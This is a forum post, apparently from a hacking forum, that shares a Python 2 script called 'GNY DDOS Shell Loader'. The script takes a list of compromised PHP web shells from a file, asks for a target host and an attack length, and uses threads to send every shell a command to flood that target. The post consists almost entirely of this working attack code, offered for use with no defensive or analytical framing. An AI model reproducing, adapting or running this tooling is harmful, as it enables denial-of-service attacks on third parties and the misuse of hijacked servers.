Jump to content
SilviuCS

[PYTHON] DDOS Shell Loader

Recommended Posts

The following code is a simple python script for loading up gny shells (php shells) and issuing the same ddos command to every shell in your list (ddos.txt)

It uses threading to process each site faster.

import time, urllib2, threading, socket, sys, os
from threading import Thread
socket.setdefaulttimeout(5)
print '''
///////////////////////////////////////////////
/GNY DDOS Shell Loader - v1.0 - Coded by ro_0t/
///////////////////////////////////////////////
'''
if os.path.isfile("ddos.txt") == False:
raw_input('Could not find "ddos.txt" - Press any key to exit.')
sys.exit()

iptoddos = raw_input("HOST/IP TO ATTACK: ")
timetoddos = raw_input("LENGTH OF ATTACK(s): ")
lol = "ddos.txt"

print "\n[Target: " + iptoddos + "]\n"
print "[Time: " + timetoddos + "]\n"
print "[Loading Shells...]\n"

file = open(lol, 'r')

class OmG (threading.Thread):
def __init__(self,x):
self.__x = x
threading.Thread.__init__(self)
def run (self):
omfg = x + "?act=phptools&host=" + iptoddos + "&time=" + timetoddos
try:
print "Loading " + x + "..."
urllib2.urlopen(omfg)
except:
pass

while 1:
lines = file.readlines(10000)
if not lines:
break
for line in lines:
time.sleep(1)
x = line.rstrip("\n")
current = OmG(x)
current.start()

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...